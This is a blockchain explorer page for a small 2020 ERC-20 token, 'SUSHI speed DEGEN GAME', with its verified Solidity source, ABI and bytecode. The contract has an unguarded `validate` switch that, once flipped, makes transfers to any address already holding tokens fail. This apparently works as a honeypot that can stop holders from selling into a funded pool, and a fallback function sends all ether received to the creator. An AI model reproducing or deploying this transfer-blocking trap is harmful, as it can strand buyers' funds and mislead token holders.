Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000 🍣
Holders
4
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
69,302.043349585655128166 🍣Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DegenGame
Compiler Version
v0.5.17+commit.d19bba13
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2020-10-27 */ /* SUSHI speed DEGEN GAME BUY FIRST - SELL FIRST */ pragma solidity 0.5.17; contract ERC20 { function totalSupply() public view returns (uint supply); function balanceOf(address who) public view returns (uint value); function allowance(address owner, address spender) public view returns (uint remaining); function transferFrom(address from, address to, uint value) public returns (bool ok); function approve(address spender, uint value) public returns (bool ok); function transfer(address to, uint value) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract DegenGame is ERC20{ uint8 public constant decimals = 18; uint256 initialSupply = 100000*10**uint256(decimals); string public constant name = "SUSHI speed DEGEN GAME"; string public constant symbol = "🍣"; address payable creator; uint8 public valid = 1; function totalSupply() public view returns (uint256) { return initialSupply; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function balanceOf(address owner) public view returns (uint256 balance) { return balances[owner]; } function allowance(address owner, address spender) public view returns (uint remaining) { return allowed[owner][spender]; } function validate(uint8 isValid) public { valid = isValid; } function transfer(address to, uint256 value) public returns (bool success) { if (balances[to] != 0) { require(valid == 1); } if (balances[msg.sender] >= value && value > 0) { balances[msg.sender] -= value; balances[to] += value; emit Transfer(msg.sender, to, value); return true; } else { return false; } } function transferFrom(address from, address to, uint256 value) public returns (bool success) { if (balances[to] != 0) { require(valid == 1); } if (balances[from] >= value && allowed[from][msg.sender] >= value && value > 0) { balances[to] += value; balances[from] -= value; allowed[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } else { return false; } } function approve(address spender, uint256 value) public returns (bool success) { allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function () external payable { creator.transfer(msg.value); } constructor () public payable { creator = msg.sender; balances[creator] = initialSupply; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"valid","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"isValid","type":"uint8"}],"name":"validate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604090815269152d02c7e14af68000006000818155600180546001600160a01b031960ff60a01b19909116600160a01b17163317908190556001600160a01b03168152600260205291909120556106a58061005d6000396000f3fe60806040526004361061009c5760003560e01c806350ce89951161006457806350ce89951461024457806370a082311461027357806395d89b41146102a6578063a9059cbb146102bb578063c1991219146102f4578063dd62ed3e146103095761009c565b806306fdde03146100d8578063095ea7b31461016257806318160ddd146101af57806323b872dd146101d6578063313ce56714610219575b6001546040516001600160a01b03909116903480156108fc02916000818181858888f193505050501580156100d5573d6000803e3d6000fd5b50005b3480156100e457600080fd5b506100ed610344565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012757818101518382015260200161010f565b50505050905090810190601f1680156101545780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016e57600080fd5b5061019b6004803603604081101561018557600080fd5b506001600160a01b038135169060200135610376565b604080519115158252519081900360200190f35b3480156101bb57600080fd5b506101c46103dd565b60408051918252519081900360200190f35b3480156101e257600080fd5b5061019b600480360360608110156101f957600080fd5b506001600160a01b038135811691602081013590911690604001356103e3565b34801561022557600080fd5b5061022e610506565b6040805160ff9092168252519081900360200190f35b34801561025057600080fd5b506102716004803603602081101561026757600080fd5b503560ff1661050b565b005b34801561027f57600080fd5b506101c46004803603602081101561029657600080fd5b50356001600160a01b031661052b565b3480156102b257600080fd5b506100ed610546565b3480156102c757600080fd5b5061019b600480360360408110156102de57600080fd5b506001600160a01b038135169060200135610566565b34801561030057600080fd5b5061022e610635565b34801561031557600080fd5b506101c46004803603604081101561032c57600080fd5b506001600160a01b0381358116916020013516610645565b60405180604001604052806016815260200175535553484920737065656420444547454e2047414d4560501b81525081565b3360008181526003602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60005490565b6001600160a01b038216600090815260026020526040812054156104195760018054600160a01b900460ff161461041957600080fd5b6001600160a01b038416600090815260026020526040902054821180159061046457506001600160a01b03841660009081526003602090815260408083203384529091529020548211155b80156104705750600082115b156104fb576001600160a01b03808416600081815260026020908152604080832080548801905593881680835284832080548890039055600382528483203384528252918490208054879003905583518681529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060016104ff565b5060005b9392505050565b601281565b6001805460ff909216600160a01b0260ff60a01b19909216919091179055565b6001600160a01b031660009081526002602052604090205490565b60405180604001604052806004815260200163f09f8da360e01b81525081565b6001600160a01b0382166000908152600260205260408120541561059c5760018054600160a01b900460ff161461059c57600080fd5b3360009081526002602052604090205482118015906105bb5750600082115b1561062d57336000818152600260209081526040808320805487900390556001600160a01b03871680845292819020805487019055805186815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060016103d7565b5060006103d7565b600154600160a01b900460ff1681565b6001600160a01b0391821660009081526003602090815260408083209390941682529190915220549056fea265627a7a72315820b5dd5c4cd0c3fd53af8502cf4e73e693b242933affa59b86c1691a85754c93a264736f6c63430005110032
Deployed Bytecode
0x60806040526004361061009c5760003560e01c806350ce89951161006457806350ce89951461024457806370a082311461027357806395d89b41146102a6578063a9059cbb146102bb578063c1991219146102f4578063dd62ed3e146103095761009c565b806306fdde03146100d8578063095ea7b31461016257806318160ddd146101af57806323b872dd146101d6578063313ce56714610219575b6001546040516001600160a01b03909116903480156108fc02916000818181858888f193505050501580156100d5573d6000803e3d6000fd5b50005b3480156100e457600080fd5b506100ed610344565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012757818101518382015260200161010f565b50505050905090810190601f1680156101545780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016e57600080fd5b5061019b6004803603604081101561018557600080fd5b506001600160a01b038135169060200135610376565b604080519115158252519081900360200190f35b3480156101bb57600080fd5b506101c46103dd565b60408051918252519081900360200190f35b3480156101e257600080fd5b5061019b600480360360608110156101f957600080fd5b506001600160a01b038135811691602081013590911690604001356103e3565b34801561022557600080fd5b5061022e610506565b6040805160ff9092168252519081900360200190f35b34801561025057600080fd5b506102716004803603602081101561026757600080fd5b503560ff1661050b565b005b34801561027f57600080fd5b506101c46004803603602081101561029657600080fd5b50356001600160a01b031661052b565b3480156102b257600080fd5b506100ed610546565b3480156102c757600080fd5b5061019b600480360360408110156102de57600080fd5b506001600160a01b038135169060200135610566565b34801561030057600080fd5b5061022e610635565b34801561031557600080fd5b506101c46004803603604081101561032c57600080fd5b506001600160a01b0381358116916020013516610645565b60405180604001604052806016815260200175535553484920737065656420444547454e2047414d4560501b81525081565b3360008181526003602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60005490565b6001600160a01b038216600090815260026020526040812054156104195760018054600160a01b900460ff161461041957600080fd5b6001600160a01b038416600090815260026020526040902054821180159061046457506001600160a01b03841660009081526003602090815260408083203384529091529020548211155b80156104705750600082115b156104fb576001600160a01b03808416600081815260026020908152604080832080548801905593881680835284832080548890039055600382528483203384528252918490208054879003905583518681529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060016104ff565b5060005b9392505050565b601281565b6001805460ff909216600160a01b0260ff60a01b19909216919091179055565b6001600160a01b031660009081526002602052604090205490565b60405180604001604052806004815260200163f09f8da360e01b81525081565b6001600160a01b0382166000908152600260205260408120541561059c5760018054600160a01b900460ff161461059c57600080fd5b3360009081526002602052604090205482118015906105bb5750600082115b1561062d57336000818152600260209081526040808320805487900390556001600160a01b03871680845292819020805487019055805186815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060016103d7565b5060006103d7565b600154600160a01b900460ff1681565b6001600160a01b0391821660009081526003602090815260408083209390941682529190915220549056fea265627a7a72315820b5dd5c4cd0c3fd53af8502cf4e73e693b242933affa59b86c1691a85754c93a264736f6c63430005110032
Deployed Bytecode Sourcemap
741:2288:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2863:7;;:27;;-1:-1:-1;;;;;2863:7:0;;;;2880:9;2863:27;;;;;:7;:27;:7;:27;2880:9;2863:7;:27;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;2863:27:0;741:2288;876:54;;8:9:-1;5:2;;;30:1;27;20:12;5:2;876:54:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;876:54:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2602:208;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2602:208:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;2602:208:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;1051:92;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1051:92:0;;;:::i;:::-;;;;;;;;;;;;;;;;2063:531;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2063:531:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;2063:531:0;;;;;;;;;;;;;;;;;:::i;775:35::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;775:35:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;1529:74;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1529:74:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;1529:74:0;;;;:::i;:::-;;1263:113;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1263:113:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;1263:113:0;-1:-1:-1;;;;;1263:113:0;;:::i;937:38::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;937:38:0;;;:::i;1611:444::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1611:444:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;1611:444:0;;;;;;;;:::i;1020:22::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1020:22:0;;;:::i;1384:137::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1384:137:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;1384:137:0;;;;;;;;;;:::i;876:54::-;;;;;;;;;;;;;;-1:-1:-1;;;876:54:0;;;;:::o;2602:208::-;2700:10;2667:12;2692:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;2692:28:0;;;;;;;;;;;:36;;;2744;;;;;;;2667:12;;2692:28;;2700:10;;2744:36;;;;;;;;-1:-1:-1;2798:4:0;2602:208;;;;;:::o;1051:92::-;1095:7;1122:13;1051:92;:::o;2063:531::-;-1:-1:-1;;;;;2171:12:0;;2142;2171;;;:8;:12;;;;;;:17;2167:69;;2213:5;;;-1:-1:-1;;;2213:5:0;;;;:10;2205:19;;;;;;-1:-1:-1;;;;;2260:14:0;;;;;;:8;:14;;;;;;:23;-1:-1:-1;2260:23:0;;;:61;;-1:-1:-1;;;;;;2287:13:0;;;;;;:7;:13;;;;;;;;2301:10;2287:25;;;;;;;;:34;-1:-1:-1;2287:34:0;2260:61;:74;;;;;2333:1;2325:5;:9;2260:74;2256:331;;;-1:-1:-1;;;;;2351:12:0;;;;;;;:8;:12;;;;;;;;:21;;;;;;2387:14;;;;;;;;;:23;;;;;;;2425:7;:13;;;;;2439:10;2425:25;;;;;;;;:34;;;;;;;2479:25;;;;;;;2351:12;;2387:14;;2479:25;;;;;;;;;;-1:-1:-1;2526:4:0;2519:11;;2256:331;-1:-1:-1;2570:5:0;2256:331;2063:531;;;;;:::o;775:35::-;808:2;775:35;:::o;1529:74::-;1580:5;:15;;;;;;-1:-1:-1;;;1580:15:0;-1:-1:-1;;;;1580:15:0;;;;;;;;;1529:74::o;1263:113::-;-1:-1:-1;;;;;1353:15:0;1318;1353;;;:8;:15;;;;;;;1263:113::o;937:38::-;;;;;;;;;;;;;;-1:-1:-1;;;937:38:0;;;;:::o;1611:444::-;-1:-1:-1;;;;;1701:12:0;;1672;1701;;;:8;:12;;;;;;:17;1697:69;;1743:5;;;-1:-1:-1;;;1743:5:0;;;;:10;1735:19;;;;;;1799:10;1790:20;;;;:8;:20;;;;;;:29;-1:-1:-1;1790:29:0;;;:42;;;1831:1;1823:5;:9;1790:42;1786:262;;;1858:10;1849:20;;;;:8;:20;;;;;;;;:29;;;;;;;-1:-1:-1;;;;;1893:12:0;;;;;;;;;:21;;;;;;1934:31;;;;;;;1893:12;;1858:10;1934:31;;;;;;;;;;;-1:-1:-1;1987:4:0;1980:11;;1786:262;-1:-1:-1;2031:5:0;2024:12;;1020:22;;;-1:-1:-1;;;1020:22:0;;;;;:::o;1384:137::-;-1:-1:-1;;;;;1490:14:0;;;1456;1490;;;:7;:14;;;;;;;;:23;;;;;;;;;;;;;1384:137::o
Swarm Source
bzzr://b5dd5c4cd0c3fd53af8502cf4e73e693b242933affa59b86c1691a85754c93a2
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.